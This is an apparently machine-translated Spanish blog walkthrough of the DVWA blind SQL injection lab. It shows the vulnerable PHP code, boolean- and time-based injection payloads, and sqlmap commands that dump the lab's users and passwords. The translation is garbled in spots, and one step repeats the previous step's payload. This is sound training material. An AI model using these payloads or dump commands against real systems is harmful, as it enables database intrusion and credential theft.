DVWA —— Inyección SQL (ciega) (baja)

Inyección SQL (ciega)

interfaz

Inserte la descripción de la imagen aquí

Código fuente

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    
    
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
    
    
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
    
    
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Análisis de código

          Al encontrar si la identificación ingresada por el usuario existe, si existe, imprimirá: La identificación del usuario existe en la base de datos; si no existe, imprimirá: La identificación del usuario FALTA en la base de datos. Se puede ver que el ID ingresado por el usuario no ha sido juzgado legalmente y existe una vulnerabilidad de SQL.

Paso de infiltración

         Se dan tres ideas, una es la inyección ciega basada en Boolean, la otra es la inyección ciega basada en el tiempo y la última es usar sqlmap para obtener el resultado

1. Persianas de base booleana

         El primer paso: construya la oración: 1’ and 1=1#verifique el resultado y descubra que hay una pista
Inserte la descripción de la imagen aquí
         Paso 2: construya la oración: 1’ and 1=2#verifique el resultado y descubra que la sugerencia no está allí. Desde el primer y segundo paso, se puede ver que si la siguiente declaración es correcta, se le pedirá que exista, de lo contrario, la solicitud no existe.
Inserte la descripción de la imagen aquí
         Paso 3: Adivine el número de ofertas en la base de datos actual y construya la declaración: , 1’ and length(select count(table_name) from information_schema.tables where table_schema=database())=x#cambiando el valor de x, cuando existe la solicitud, x El valor de indica que hay varias tablas. Cuando el resultado muestra que x = 2, indica que hay un
Cuando x = 1, el mensaje no existe
Cuando x = 2, el mensaje existe
         cuarto paso: Adivina la longitud del nombre de la primera tabla, construye la declaración :, 1’ and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=x#cambia el valor de x, hasta que el sistema lo solicite, x es la longitud de la tabla nombre, el resultado: x = 9
         Paso cinco: Utilice el método de 2 puntos para adivinar el nombre de la tabla y construir la declaración :, 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>x#donde está el valor ascii de la letra. 65-90 son 26 letras mayúsculas en inglés, 97-122 son 26 letras minúsculas en inglés. Primero, deje x = 97, compruebe si está en minúscula, luego x = 109 y así sucesivamente, adivine el nombre de la mesa: libro de visitas,
         número de usuarios Paso 6: Adivina la longitud del primer campo de la tabla, construye la oración :, el 1’ and length(select column_name from information_schema.columns where table_name= ’users’ limit 0,1)=x#método es el mismo que el cuarto paso, el resultado x = 8
         Paso Siete: Adivina el primer campo de la tabla, construye la declaración :, el 1’ and length(select column_name from information_schema.columns where table_name= ’users’ limit 0,1)=x#El método es el mismo que el del quinto paso.

2. Persianas basadas en el tiempo

         El primer paso: Adivina si hay una apuesta ciega basada en el tiempo Entrada: 1’ and sleep(5)#Después de eso, se siente un retraso notable, después de ingresar 1 y dormir (5) #, no hay retraso. A partir de esto, se juzga que hay una inyección ciega de tiempo de tipo carácter.
         Paso 2: Los mismos pasos que la inyección ciega basada en booleanos. Adivina el nombre de la tabla de la base de datos y construye la declaración :, 1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) #sin demora; 1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #demora obvia, lo que indica que el nombre de la primera tabla tiene 9 caracteres.
         El tercer paso: después de construir la declaración sql es igual que booleano, pero agregando sleep (5) y juzgando el retraso.

Tres, use sqlmap,

Instale sqlmap en win10. El
         primer paso: ingrese cualquier cosa, use burp suit para capturar el paquete y obtenga la dirección de destino          :; 192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#cookie: el security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
segundo paso: use sqlmap para inyectar la URL, ingrese :, sqlmap.py -u “http://192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5” --batchdespués de un tiempo, sqlmap da la resultado de la prueba, puede inyectar de tres maneras: booleano, base de errores y tiempo.
Inserte la descripción de la imagen aquí
         Paso 3: Use sqlmap para ver la base de datos. Entrada: sqlmap.py -u “http://192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5” --batch --dbs
Inserte la descripción de la imagen aquí
         Paso 4: Vea el contenido en la base de datos dvwa. Entrada: sqlmap.py -u “http://192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5” --batch -D dvwa --tables
Inserte la descripción de la imagen aquí
         Paso 5: Vea el contenido en Entrada: sqlmap.py -u “http://192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5” --batch -D dvwa -T users --columns
Inserte la descripción de la imagen aquí
         Paso 6: Ver el contenido de usuario y contraseña, ingresar :, sqlmap.py -u “http://192.168.45.148/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=” security=low; PHPSESSID=v56k2chlsm80lm6i11pqj4p7o5” --batch -D dvwa -T users -C “user,password“ --dumpy luego puede ver el proceso de decodificación de sqlmap de la contraseña cifrada, y después de un tiempo, puede ver el texto sin formato después de que se decodifica sqlmap.
Inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/qq_37589805/article/details/112483002
Recomendado
Clasificación